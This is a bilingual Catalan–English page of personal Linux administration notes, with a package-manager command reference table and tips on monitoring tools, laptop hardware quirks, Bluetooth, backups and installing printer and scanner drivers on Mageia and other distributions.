sudo apt upgradesudo apt install libsdl2-dev
- overflow /tmp
- [SOLVED] Linux falling apart!!!
- Overflow /tmp mounted when there is free space on /
- Solució / Solution
sudo /etc/init.d/mountoverflowtmp stopumount /tmp
- la instal·lació de libsdl2-dev trenca tota la
instal·lació
- Cooperative Linux
- Petites / Small
- AlfaLinux
- BasicLinux
- Floppix
- HAL91
- Linux Mobile System
- MINUX
- MuLinux
- Small Linux
- Tomsrtbt (1 floppy disk)
- Crux (i686)
- 1-CD / Live / Move
- List of LiveCDs (Wikipedia)
- Live CD Linux distributions (LinuxWorld Magazine)
- Draklive
- Manual de Draklive (BlogDRAKE) (es)
- Mandriva-seed
- GUI for iso dump on USB key (not persistant)
- MIB
LiveToFlash (boot from USB; persistant)
- wish list - mandriva seed - persistence
urpmi http://mib.pianetalinux.org/MIB/2010.1/32/basic/livetoflash-3.3b1009-69.1mib2010.1.noarch.rpm
- Pendrivelinux
- Remaster
- List of remastering software (wp)
- How
to
create and use a Live CD (FedoraLiveCD)
urpmi livecd-tools- Testing your Live CD using KVM or qemu
- Using
Live
Images from USB Media
livecd-iso-to-disk
- Linux Live for CD & USB
- LiveCD (create
your own LiveCD from a currently installed Linux
distribution)
urpmi mklivecd(Mandrivalinux)
-
- Mandriva 2006 Move
-
- One
- MandrakeMove
- Knoppix
- gnuabix-etse
- gnupcix
- catix
- Partition-oriented
- Netbooks - Mòbils/Mobile
- dyne:bolic
- Rescue
-
- SystemRescueCd (repairing)
- Insert
- PCLinuxOS
08Gestió de paquets / Package management#
| |
pkgs.org | rpmfind.net |
|---|---|---|
| Mageia | |
|
| CentOS / RHEL |
|
|
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
| dpkg-based (DEBIAN_FRONTEND=noninteractive) |
rpm-based |
flatpak | Python
|
Node.js |
Ruby |
|||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| |
|
dpkg | apt-get, apt-* | apt | aptitude | apk (Alpine) |
rpm | urpmi | yum | dnf | pip |
conda | npm |
yarn | gem |
|
| GUI | rpmdrake rpmdragora |
dnfdragora | ||||||||||||||
| usage |
||||||||||||||||
| repo config | config repo files | |
|
|
/etc/urpmi/ |
/etc/yum.repos.d/
|
/etc/yum.repos.d/ |
|||||||||
| add main repository | |
|
|
urpmi.addmedia --distrib --mirrorlist
|
yum-config-manager
--add-repo repository_url |
|||||||||||
| add repository | add-apt-repository
... |
|
|
urpmi.addmedia ... |
|
|
flatpak remote-add --if-not-exists flathub
https://flathub.org/repo/flathub.flatpakrepo |
|||||||||
| remove repository | |
|
|
urpmi.removemedia
|
|
(disable repo) |
||||||||||
| list repositories | apt edit-sources |
|
|
urpmq --list-media |
yum [-v] repolist
|
dnf repolist |
||||||||||
| enable repository | |
|
|
|
yum-config-manager
--enable repository… |
|
||||||||||
| disable repository | |
|
|
|
yum-config-manager
--disable repository… |
dnf config-manager --set-disabled
<repo_name> |
||||||||||
| update repository index |
apt-get update
|
apt update |
|
apk update |
|
urpmi.update ...
|
|
dnf makecache |
||||||||
| list of upgradable packages | apt list --upgradable |
|||||||||||||||
| upgrade |
upgrade all installed
packages (-u: only list availability) |
apt-get [-u] upgrade
|
apt upgrade |
apk upgrade |
|
|||||||||||
| upgrade distribution |
apt-get dist-upgrade
|
apt full-upgrade |
||||||||||||||
| install | install a package | dpkg -i package_name.deb |
apt-get install package_name
|
apt install package_name |
|
apk add package_name |
|
urpmi package_name |
yum install package_name |
dnf install ... |
flatpak install org.kde.okular |
pip install package_name |
npm install [-g] package_name |
gem install package_name |
||
| force reinstallation of a package | dnf reinstall ... |
|||||||||||||||
| force downgrade of a package |
|
|||||||||||||||
| install a package (alpha
version) |
pip install -pre package_name |
|||||||||||||||
| install a group / metapackage
/ task |
urpmi task-c++-devel |
yum groupinstall
"Development Tools" |
||||||||||||||
| query
info |
list of all installed packages | dpkg -l |
|
apt list --installed |
|
rpm -qa |
|
|
dnf list installed |
pip freeze |
conda list |
npm list |
gem list |
|||
| list of all installed packages, sorted by size | rpm -qa --queryformat '%10{size} - %-25{name} \t
%{version}\n' | sort -n |
|||||||||||||||
| information about a package | dpkg -l package_name |
apt-cache show package_name
|
apt show package_name |
|
apk -a info pakage_name |
|
urpmq -i package_name |
yum info package_name |
pip show package_name |
|||||||
| list of files provided by an installed package |
|
apt-file list package_name
|
|
rpm -ql package_name |
urpmq -l package_name |
|
dnf repoquery -l package_name |
|||||||||
| list of files provided by an uninstalled package | dpkg --contents package_name.deb
|
apt-file list package_name |
yum install -y
yum-utils; |
dnf repoquery -l package_name |
||||||||||||
| search for a package name | |
|
|
urpmq -a -y part_of_name
|
|
|||||||||||
| list dependencies |
apt-cache depends package_name |
|||||||||||||||
| whether a package is
installed |
dpkg -s package-name
| grep Status |
|||||||||||||||
| find
and search |
search an expression |
apt-cache search expression
|
apt search expression |
|
apk search expression |
|
urpmf
expression |
yum search expression |
flatpak search ... |
gem search expression |
||||||
| which package provides a file (full path name) | dpkg -S /absolute/path/to/file |
apt-file
search /absolute/path/to/file
|
|
|
urpmf /absolute/path/to/file |
yum provides /absolute/path/to/file
|
dnf provides /absolute/path/to/file
|
|||||||||
| which package provides a file (part of path name) | apt-file
search expression |
urpmf expression |
yum
provides "*expression" |
dnf provides "*expression*" |
||||||||||||
| search on package name | apt-cache search expression |
|
|
urpmf --name expression |
yum list
[installed|available] "expression*" (installed and
not installed) |
sudo -i; |
||||||||||
| search on description | |
|
|
urpmf --description expression |
|
|||||||||||
| dependency tree | debtree
package_name |
apt-rdepends package_name
|
apt depends package_name |
yum deplist package_names |
||||||||||||
| remove | remove a package |
apt-get remove package_name
|
apt remove package_name |
|
|
urpme package_name |
|
dnf remove ... |
||||||||
| remove a package and its configuration |
apt-get --purge remove package_name
|
apt purge package_name |
||||||||||||||
| remove all no longer needed
packages |
apt-get [--purge] autoremove package_name
|
apt autoremove package_name |
... orphan ... |
|||||||||||||
| run installed | flatpak run org.kde.okular | |||||||||||||||
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Signatura / Signature
- urpmi
- used by
- Mageia
- Mandriva
- Creació / Creation
- Repositories
- add media:
urpmi.addmedia- possibe syntax:
urpmi.addmedia [options] --distrib --mirrorlist [<url>]- ... --mirrorlist https://mirrors.mageia.org/api/mageia.${version}.${ARCH}.list
urpmi.addmedia [options] --mirrorlist <url> <name> <relative path>urpmi.addmedia [options] <name> http://<login>:<pass>@<host>/<path>urpmi.addmedia [options] <name> ftp://<login>:<pass>@<host>/<path>urpmi.addmedia [options] <name> ssh://<login>@<host>/<path>urpmi.addmedia [options] <name> rsync://<login>@<host>:<port>/<path>urpmi.addmedia [options] <name> file://<path>urpmi.addmedia [options] <name> cdrom://<path>
- options
--urpmi-root /path/to/chroot- ...
- Mageia
repositories
- possibe syntax:
- remove media
urpmi.removemedia ...
- list media
urpmq --list-media
- add media:
- Comanda / Command
- urpmi: install package
urpmi package_name
- urpme: remove package
urpme package_name
- urpmq: query about installed packages
- information about a package
urpmq -i package_name
- list of files inside a package
urpmq -l package_name
- information about a package
- urpmf: find
installed and non-installed packages
- get the package containing a file that matches an
expression:
urpmf expression
- get the package containing a file:
urpmf /absolute/path/to/file
- search on package name:
urpmf --name expression
- search on description:
urpmf --description expression
- print package name and version:
urpmf -mf ...
- get the package containing a file that matches an
expression:
- urpmi: install package
- ...
- used by
- dnf
- used by
- gui
- dnfdragora
- command line
- Problemes / Problems
CentOS Linux 8 - AppStream 274 B/s | 38 B 00:00
Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist- Solució
- Failed to download metadata for repo ‘AppStream’ [CentOS]
- passos
sudo -icd /etc/yum.repos.d/sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*yum update -y
- Solució
- Killed
- Solució / Solution
- increase memory
- increase swap
- Solució / Solution
- ...
- Homebrew
- Instal·lació / Installation
- ...
- Instal·lació / Installation
- flatpak
- Instal·lació / Installation
- Mageia
- sudo
dnf install flatpak
- sudo
- Mageia
- Addició d'un repositori / Add a repo
flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo
- llista de paquets instal·lats
flatpak list-
instal·lació execució Siril flatpak install flathub org.free_astro.sirilflatpak run org.free_astro.sirilOkular flatpak install org.kde.okularflatpak run org.kde.okular...
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Instal·lació / Installation
- ...
09Gestió de parcs d'ordinadors / Cluster management#
- Elements
- Server
- Golden client
- Clients
- Instal·lació i manteniment / Installation and maintenance
- Comparison of open source configuration management software (wp)
- Comparison of disk cloning software (wp)
- Systems Installation Suit - SIS
- SystemImager (sf) (Systems Installation Suit - SIS)
- SystemConfigurator
- SystemInstaller
- command line tools
- cssh, crsh, ctel (ubuntu)
- g4u
- m23 (wp)
- Mandriva / Mageia
- Pulse2 / MMC (old)
- Automated network installation
- Auto install
- drakautoinst (mageia svn)
- drakx-autoinstall-doc
- IGGI
- drakcluster
- urpmi parallel
- Puppet
(wp)
- adding users, installing packages, and updating server configurations
- RedHat
- Kickstart (wp)
- Debian / Ubuntu
- xCAT (wp)
- Inventory
- Monitoratge remot / Remote
monitoring
- Monitoratge i anàlisi / Monitoring and analysis (SaaS)
- Comparison of network monitoring systems (wp)
- Prometheus
- Aplicacions
- Karpenter (Kubernetes node autoscaler)
- Instal·lació
- Configuració
- Configuration
prometheus.yml
- Servidor
./prometheus --config.file=prometheus.yml- Mètriques
- prometheus: http://localhost:9090/metrics
node_exporter: http://localhost:9100/metrics- ...
- Client
- http://localhost:9090/
- Grafana
- ...
- ...
- Aplicacions
- SNMP
- Agent
- net-snmp
- Installation
- Mageia
urpmi net-snmp-utils
- Mageia
service snmpd start
- Installation
- SNMP monitoring (Spinetix)
- net-snmp
- snmpwalk
- Test your configuration (Cacti)
snmpwalk -v 2c -c public 192.168.0.14
snmpwalk -v 1 -c public 192.168.0.14 sysdescrsnmpwalk -v 1 -c public 192.168.0.14 sysname
- Agent
- Cacti (wp)
- Installation
- Mageia
urpmi cacti
- /etc/php.d/cacti.ini
safe_mode = Off
file_uploads = On
extension=snmp.so
- MySQL
- http://localhost/cacti/
- admin/admin
- Mageia
- Problems
- /var/log/httpd/error_log
- [core:notice] [pid 16411] AH00052: child pid
xxxxx exit signal Segmentation fault (11)
- Solution:
- check the MySQL database has been populated
- Solution:
- [core:notice] [pid 16411] AH00052: child pid
xxxxx exit signal Segmentation fault (11)
- /var/log/httpd/error_log
- Plugins
- Installation
- monit
- Nagios
- Nagios-plugins
- Instal·lació / Installation
- Observium
- Installation
- Dependencies
- Mageia
- urpmi php php-mysql php-gd php-snmp php-posix php-mcrypt php-pear net-snmp net-snmp-utils graphviz subversion rrdtool fping ImageMagick nmap ipmitool MySQL-python
- Mageia
- Dependencies
- Problemes
- Si quan s'executa add_devices.php no surt res, és que falta alguna de les dependències
- Raspberry Pi
- Installation
- Shinken (wp)
- Zabbix (wp)
- Terminals
- Execució distribuïda / Distributed execution
- Clone
- Cluster computing (wp)
10Linux en portàtils / on notebooks#
- Linux on laptops
- Linux Laptop Volunteer Support Database
- Dell Inspiron
- Getting X up on an I7K
- Inspiron Linux Mailing List Archive
- PCMCIA support
- Perifèrics / Peripherals
- i-tec
USB-C Metal Nano Docking Station 4K HDMI LAN + Power
Delivery 100 W (USB-C) (Amazon)
- cable:
- USB-C Thunderbolt 3/4
- connectors
- 1x USB-C PD 100W
- 1x HDMI 4K
- 1x TF
- 1x SD
- 1x àudio 3.5mm (+mic)
- 1x LAN RJ-45 10/100/1000 Realtek RTL8153
- 3x USB 3.0
- lsusb
ID 0d8c:0014 C-Media Electronics, Inc. Audio Adapter (Unitek Y-247A)
ID 0bda:8153 Realtek Semiconductor Corp. RTL8153 Gigabit Ethernet Adapter
ID 1a40:0101 Terminus Technology Inc. Hub
ID 2109:2817 VIA Labs, Inc. USB2.0 HubID 2109:0817 VIA Labs, Inc. USB3.0 Hub
- cable:
- HDMI capture (USB-C) (Amazon)
- lsusb
- ID 534d:2109 MacroSilicon USB3. 0 capture
- lsusb
- Silverstone HDMI output (USB-C)
- lsusb
- ID
1d5c:5100 Fresco Logic Generic Billboard Device
ID 1d5c:5012 Fresco Logic USB2.0 Hub
- ID
1d5c:5100 Fresco Logic Generic Billboard Device
- lsusb
- i-tec
USB-C Metal Nano Docking Station 4K HDMI LAN + Power
Delivery 100 W (USB-C) (Amazon)
- PC Specialist Defiance
- BIOS
- Insyde H2BIOS 1.07.07 TPCS
- lspci
00:00.0 Host bridge: Intel Corporation 11th Gen Core Processor Host Bridge/DRAM Registers (rev 05)
00:01.0 PCI bridge: Intel Corporation 11th Gen Core Processor PCIe Controller #1 (rev 05)
00:02.0 VGA compatible controller: Intel Corporation TigerLake-H GT1 [UHD Graphics] (rev 01)
00:04.0 Signal processing controller: Intel Corporation TigerLake-LP Dynamic Tuning Processor Participant (rev 05)
00:06.0 PCI bridge: Intel Corporation 11th Gen Core Processor PCIe Controller #0 (rev 05)
00:07.0 PCI bridge: Intel Corporation Tiger Lake-H Thunderbolt 4 PCI Express Root Port #0 (rev 05)
00:08.0 System peripheral: Intel Corporation GNA Scoring Accelerator module (rev 05)
00:0a.0 Signal processing controller: Intel Corporation Tigerlake Telemetry Aggregator Driver (rev 01)
00:0d.0 USB controller: Intel Corporation Tiger Lake-H Thunderbolt 4 USB Controller (rev 05)
00:0d.2 USB controller: Intel Corporation Tiger Lake-H Thunderbolt 4 NHI #0 (rev 05)
00:14.0 USB controller: Intel Corporation Tiger Lake-H USB 3.2 Gen 2x1 xHCI Host Controller (rev 11)
00:14.2 RAM memory: Intel Corporation Tiger Lake-H Shared SRAM (rev 11)
00:15.0 Serial bus controller: Intel Corporation Tiger Lake-H Serial IO I2C Controller #0 (rev 11)
00:15.1 Serial bus controller: Intel Corporation Device 43e9 (rev 11)
00:15.2 Serial bus controller: Intel Corporation Device 43ea (rev 11)
00:16.0 Communication controller: Intel Corporation Tiger Lake-H Management Engine Interface (rev 11)
00:1c.0 PCI bridge: Intel Corporation Tiger Lake-H PCI Express Root Port #5 (rev 11)
00:1c.7 PCI bridge: Intel Corporation Device 43bf (rev 11)
00:1f.0 ISA bridge: Intel Corporation Tiger Lake-H LPC/eSPI Controller (rev 11)
00:1f.3 Audio device: Intel Corporation Tiger Lake-H HD Audio Controller (rev 11)
00:1f.4 SMBus: Intel Corporation Tiger Lake-H SMBus Controller (rev 11)
00:1f.5 Serial bus controller: Intel Corporation Tiger Lake-H SPI Controller (rev 11)
01:00.0 VGA compatible controller: NVIDIA Corporation GA104M [GeForce RTX 3070 Mobile / Max-Q] (rev a1)
01:00.1 Audio device: NVIDIA Corporation GA104 High Definition Audio Controller (rev a1)
02:00.0 Non-Volatile memory controller: Intel Corporation Device f1aa (rev 03)
2d:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 15)
2e:00.0 Network controller: Intel Corporation Wi-Fi 6 AX210/AX211/AX411 160MHz (rev 1a)
- lsusb
ID 1d6b:0003 Linux Foundation 3.0 root hub
ID 5986:9102 Acer, Inc BisonCam,NB Pro
ID 8087:0032 Intel Corp.
ID 06cb:00a8 Synaptics, Inc.
ID 1d6b:0002 Linux Foundation 2.0 root hub
ID 1d6b:0003 Linux Foundation 3.0 root hub
ID 1d6b:0002 Linux Foundation 2.0 root hub
- Bluetooth
- Problema:
- dmesg:
Bluetooth: hci0: Reading Intel version information failed
- dmesg:
- Centre de control de Mageia: Maquinari
- Bluetooth
enable_autosuspend: false- this will add a line to file
/etc/modprobe.d/01_mga-config.conf
options btusb enable_autosuspend=false
- Bluetooth
- Problema:
- WiFi
- Problema:
- dmesg:
Timeout waiting for PNVM load! - Solució:
sudo mv /lib/firmware/iwlwifi-ty-a0-gf-a0.pnvm /lib/firmware/iwlwifi-ty-a0-gf-a0.pnvm.no_funciona
- dmesg:
- Problema:
- Audio
- Intel Tiger Lake-H HD Audio
inxi -Aazy- Audio
from Speakers with Tiger Lake-H HD Audio
- sof-bin (firmware)
- [SOLVED]
No Audio Output/Input device
- kernel 5.15
- ...
- Nvidia
- GA104
- ....
- GA104
- Intel Tiger Lake-H HD Audio
- Centre de control / Tuxedo
Control Centre
- tuxedocomputers / tuxedo-control-center
- Install
- Dependències / Dependencies
- Mageia
sudo dnf install git npm gcc-c++ make
- Mageia
- Passos / Steps
cd my_dev_path
git clone https://github.com/tuxedocomputers/tuxedo-control-center.gitcd tuxedo-control-centernpm installnpm run buildsucp src/dist-data/*service /etc/systemd/system/- edit /etc/systemd/system/tccd.service to
set <dev path> :
ExecStart=<my_dev_path>/dist/tuxedo-control-center/data/service/tccd --start
ExecStop=<my_dev_path>/dist/tuxedo-control-center/data/service/tccd --stop
cp src/dist-data/com.tuxedocomputers.tccd.conf /usr/share/dbus-1/system.d/- systemctl start tccd
- systemctl enable tccd tccd-sleep
- Dependències / Dependencies
- Ús / Usage
npm start- Winkey + Alt +F6
- Install
- tuxedocomputers / tuxedo-control-center
- Teclat / Keyboard
- Clevo Keyboard Backlight Control For Linux
- tuxedocomputers / tuxedo-keyboard
- to control backlight keyboard with Fn + numerical pad keys
- Install
- Dependencies
- Mageia
sudo dnf install dkms
- ...
- Mageia
- Passos / Steps
git clone https://github.com/tuxedocomputers/tuxedo-keyboard.gitcd tuxedo-keyboard- make clean && make
- sudo make
dkmsinstall
- Problemes
Error! DKMS tree does not contain: tuxedo-keyboard-3.0.9- Solució / Solution
- follow the next steps instead
- Solució / Solution
- Problemes
su
- cp -R . /usr/src/tuxedo-keyboard-3.2.14
- mkdir -p /var/lib/dkms/tuxedo-keyboard/3.2.14
- ln -s /usr/src/tuxedo-keyboard-3.2.14 /var/lib/dkms/tuxedo-keyboard/3.2.14/source
- dkms --verbose build -m tuxedo-keyboard -v 3.2.14
- dkms --verbose install -m tuxedo-keyboard -v 3.2.14
- Dependencies
- Ús / Usage
- Fn + keys in numeric pad
- Targetes
gràfiques
- Nvidia Optimus
- Intel
Card:Intel 810 and later: Intel Corporation|TigerLake-H GT1 [UHD Graphics] [DISPLAY_VGA] (rev: 01)
- Nvidia RTX 3070
Card:NVIDIA GeForce 635 series and later: NVIDIA Corporation|GA104M [GeForce RTX 3070 Mobile / Max-Q] [DISPLAY_VGA] (rev: a1)
- TPM
- Linux: Configure and use your TPM 2.0 module on Linux
- Install
dnf install tpm2-abrmd
- ...
- Lector d'empremtes/ Fingerprint reader
- KDE Plasma 5.24 Desktop Environment to Introduce Support for Fingerprint Readers
- How to Add Fingerprint Login in Ubuntu and Other Linux Distributions (Gnome)
- Using a fingerprint reader (SSDM)
- Mageia
sudo dnf install fprintd
sudo systemctl enable fprintd
sudo systemctl start fprintd
- ...
- BIOS
- Mountain
Studio
MX
- HM77, i7-3630QM (Intel HD Graphics 4000) 2.4 GHz
- lspci
00:00.0 Host bridge: Intel Corporation 3rd Gen Core processor DRAM Controller (rev 09)
00:01.0 PCI bridge: Intel Corporation Xeon E3-1200 v2/3rd Gen Core processor PCI Express Root Port (rev 09)
00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09)
00:14.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB xHCI Host Controller (rev 04)
00:16.0 Communication controller: Intel Corporation 7 Series/C210 Series Chipset Family MEI Controller #1 (rev 04)
00:1a.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB Enhanced Host Controller #2 (rev 04)
00:1b.0 Audio device: Intel Corporation 7 Series/C210 Series Chipset Family High Definition Audio Controller (rev 04)
00:1c.0 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 1 (rev c4)
00:1c.2 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 3 (rev c4)
00:1c.3 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 4 (rev c4)
00:1d.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB Enhanced Host Controller #1 (rev 04)
00:1f.0 ISA bridge: Intel Corporation HM77 Express Chipset LPC Controller (rev 04)
00:1f.2 SATA controller: Intel Corporation 7 Series Chipset Family 6-port SATA Controller [AHCI mode] (rev 04)
00:1f.3 SMBus: Intel Corporation 7 Series/C210 Series Chipset Family SMBus Controller (rev 04)
01:00.0 VGA compatible controller: NVIDIA Corporation GK107M [GeForce GTX 660M] (rev a1)
03:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8723AE PCIe Wireless Network Adapter
04:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. Device 5289 (rev 01)
04:00.2 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 0a)
- lsusb
Bus 004 Device 003: ID 5986:0401 Acer, Inc BisonCam, NB Pro
Bus 004 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 004 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 046d:c534 Logitech, Inc. Unifying Receiver
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
- Elantech touchpad
- Targetes gràfiques
- L'ordinador té dues targetes gràfiques. Normalment fa
servir la integrada (Intel HD Graphics 4000, led «pila
amb fulletes»), però es pot demanar que faci servir la
Nvidia Geforce GTX 660M 2GB (led «agulla de
velocímetre»). Per a fer-ho, hi ha dues opcions:
- instal·lar mageia-prime
- instal·lar Bumblebee
(implementació per a Nvidia
Optimus) i cridar l'aplicació precedida de «
primusrun» (abans era: «optirun»)
- Nvidia
Card:NVIDIA GeForce 420 to GeForce 630: NVIDIA Corporation|GK107M [GeForce GTX 660M] [DISPLAY_VGA] (rev: a1)
NVIDIA Corporation GK107M [GeForce GTX 660M] (rev a1)- NVE7 (GK107) (nouveau)
- Nvidia Optimus
- ...
- Intel CPU i7-3630QM
(Intel HD Graphics 4000)
Card:Intel 810 and later: Intel Corporation|3rd Gen Core processor Graphics Controller [DISPLAY_VGA] (rev: 09)
Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09)- Invalid ROM contents
- Problems
- No glx with Intel (when physical led is
indicating Intel integrade graphics:
"battery with leaves"):
- /var/log/Xorg.o.log:
[ 1296.578] (II) LoadModule: "glx"
[ 1296.579] (II) Loading /usr/lib64/xorg/modules/extensions/libglx.so
[ 1296.588] (II) Module glx: vendor="NVIDIA Corporation"
[ 1296.588] compiled for 4.0.2, module version = 1.0.0
[ 1296.588] Module class: X.Org Server Extension
[ 1296.588] (II) NVIDIA GLX Module 331.38 Wed Jan 8 19:10:17 PST 2014
[ 1296.588] Loading extension GLX
[ 1296.588] (II) LoadModule: "intel"
[ 1296.588] (II) Loading /usr/lib64/xorg/modules/drivers/intel_drv.so
[ 1296.649] (II) Module intel: vendor="X.Org Foundation"
...
[ 1297.404] (EE) Failed to initialize GLX extension (Compatible NVIDIA X driver not found)
- Solution: check that
/usr/lib64/xorg/modules/extensions/libglx.so
is not pointing to a Nvidia file (e.g.
libglx.so -> libglx.so.331.38) (where
did it come from?)
If so, reinstall the xorg drivers and restart the X server:urpmi --replacepkgs x11-server-commonCTRL + ALT + Backspaceglxgears
- /var/log/Xorg.o.log:
- No glx with Intel (when physical led is
indicating Intel integrade graphics:
"battery with leaves"):
- L'ordinador té dues targetes gràfiques. Normalment fa
servir la integrada (Intel HD Graphics 4000, led «pila
amb fulletes»), però es pot demanar que faci servir la
Nvidia Geforce GTX 660M 2GB (led «agulla de
velocímetre»). Per a fer-ho, hi ha dues opcions:
- SSD
- Botons / Buttons
dmesg | grep input- [ 0.513775] input: AT Translated
Set 2 keyboard as
/devices/platform/i8042/serio0/input/input0
[ 1.623916] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio2/input/input1
[ 3.079265] input: Power Button as /devices/LNXSYSTM:00/device:00/PNP0C0C:00/input/input2
[ 3.079307] input: Sleep Button as /devices/LNXSYSTM:00/device:00/PNP0C0E:00/input/input3
[ 3.079339] input: Lid Switch as /devices/LNXSYSTM:00/device:00/PNP0C0D:00/input/input4
[ 3.099365] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input5
[ 4.123937] input: Video Bus as /devices/LNXSYSTM:00/device:00/PNP0A08:00/device:1b/LNXVIDEO:00/input/input6
[ 4.632086] input: Video Bus as /devices/LNXSYSTM:00/device:00/PNP0A08:00/LNXVIDEO:01/input/input7
[ 7.664368] input: HID 413c:3010 as /devices/pci0000:00/0000:00:1a.0/usb1/1-1/1-1.2/1-1.2:1.0/input/input8
[ 7.664421] generic-usb 0003:413C:3010.0001: input,hidraw0: USB HID v1.10 Mouse [HID 413c:3010] on usb-0000:00:1a.0-1.2/input0
[ 20.227723] inputs: Mic=0x18 Internal Mic=0x19
[ 20.235887] input: HDA Intel PCH HDMI/DP,pcm=3 as /devices/pci0000:00/0000:00:1b.0/sound/card0/input9
[ 20.235967] input: HDA Intel PCH Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input10
[ 20.236020] input: HDA Intel PCH Headphone as /devices/pci0000:00/0000:00:1b.0/sound/card0/input11
[ 3376.531530] input: BisonCam, NB Pro as /devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.6/2-1.6:1.0/input/input12
- [ 0.513775] input: AT Translated
Set 2 keyboard as
/devices/platform/i8042/serio0/input/input0
cat /proc/bus/input/devices
11Bluetooth#
- Usage
- bluetoothd
- blueman-applet
- Bluetooth and Linux
- Using a Bluetooth phone with Linux
- BlueZ
- mdk rpms (sunsite rediris)
- gnome-bluetooth
- The KDE Bluetooth Framework
- Blueman
- obex
- OBEX
for dummies
obexfs -b 00-CA-FE-BA-BE-00 -B 10 /mnt/obex/
- OBEX
for dummies
- nautilus
- obex://
12Còpies de seguretat / Back up#
- draksnapshot
- /etc/rsnapshot.conf
- Backing Up In Linux
- Device Names
- CD-RW
- Linux-Backup.net
- Mondo Rescue
- BackupPC (PC -> server; www-based)
- flexbackup
- Amanda (Linux Journal)
- Torture-testing Backup and Archive Programs: Things You Ought to Know But Probably Would Rather Not
13Cygwin (UNIX on MSWindows)#
14Dispositius / Devices#
- devfs
- ML 8.1 troubleshooting: how about devfs?
- USB
- udev
- Config
- /etc/udev/rules.d/
- 90-myrule.rules
- ...
- 90-myrule.rules
- /etc/udev/rules.d/
- Admin
sudo udevadm control --reload
- Exemples / Examples
- Android
- Oscilloscope with PyVISA
- ...
- Config
15Documentació / Documentation#
16Impressió / Printing#
- Impressores / Printers
- Linux Printing
- The Common
UNIX Printing System (CUPS)
- http://localhost:631/
- CUPS PDF
- Install
- Mageia
urpmi cups-pdf
- Mageia
- Setup
- Output dir
- Change The PDF Printer Output Directory
- /etc/cups/cups-pdf.conf
Out ${DESKTOP}Out ${HOME}/pdf
Label 2
systemctl restart cups.service
- Mageia
mcc- Hardware / Printers / Add printer: Generic CUPS-PDF
- Output dir
- Install
- EPSON
- Epson Kowa Linux Download
- EPSON Printers and Linux
- EPSON Stylus Photo P50
- ...
- Comprovació d'agulles / Nozzle check
- apagueu la impressora
- mantingueu premut el botó del paper/paperera
- engegueu la impressora
- imprimirà una pàgina amb uns patrons de colors
- Canon
- Canon PIXMA TS8300 (2023) (impressora i escàner)
- Canon PIXMA TS8351a (blanca)
- Asistencia Canon PIXMA TS8351a (blanca)
- Online Manual - TS8300 series -
- IJ
Printer Driver Ver. 5.90 for Linux (PIXMA G6050,
però serveixen per a TS8300 i d'altres)
- Verifiqueu que la impressora és visible des de la
vostra subxarxa:
- al gestor d'impressores us ha d'aparèixer
automàticament com a «Impressora de xarxa /
Canon TS8300 (C10E4xxxx.local, 192.168.x.x)
(Impressora de xarxa IPP a través de DNS-SD)»
- el nom C10E4xxxx el podeu canviar des de la configuració de la mateixa impressora (pantalla LCD integrada)
- si no us apareix, comproveu que al tallafoc
(p.ex. Shorewall)
teniu activat:
- Autodescobriment de serveis de xarxa (zeroconf i slp)
- al gestor d'impressores us ha d'aparèixer
automàticament com a «Impressora de xarxa /
Canon TS8300 (C10E4xxxx.local, 192.168.x.x)
(Impressora de xarxa IPP a través de DNS-SD)»
- Impressora
- Download: IJ Printer Driver Ver. 5.90 for Linux (rpm Packagearchive)
tar xvzf cnijfilter2-5.90-1-rpm.tar.gzcd cnijfilter2-5.90-1-rpmsudo -i./install.sh- Un cop acabada la instal·lació, us apareixerà a la interfície gràfica de la gestió de les impressores
- Escàner
- Download: ScanGear MP Ver. 3.90 for Linux (rpm Packagearchive)
tar xvzf scangearmp2-3.90-1-rpm.tar.gzcd scangearmp2-3.90-1-rpmsudo -i./install.sh- Ús / Usage
- sane
- xsane gimp
- scangearmp2
- si no us troba l'escàner segurament és
perquè el tallafoc talla la comunicació
SNMP:
- desactiveu completament el tallafoc (p.ex. Shorewall)
- si no us troba l'escàner segurament és
perquè el tallafoc talla la comunicació
SNMP:
- sane
- Verifiqueu que la impressora és visible des de la
vostra subxarxa:
- Canon
Pixma
MG2450
- Escàner / Scanner
- Impressora / Printer
- gutenprint (gimp-print) (devel):
- ...
- Canon drivers
- from rpm (for 64 bits you also need to install 32 bits package):
- MG2400 series IJ Printer Driver Ver. 4.00 for Linux (rpm Packagearchive)
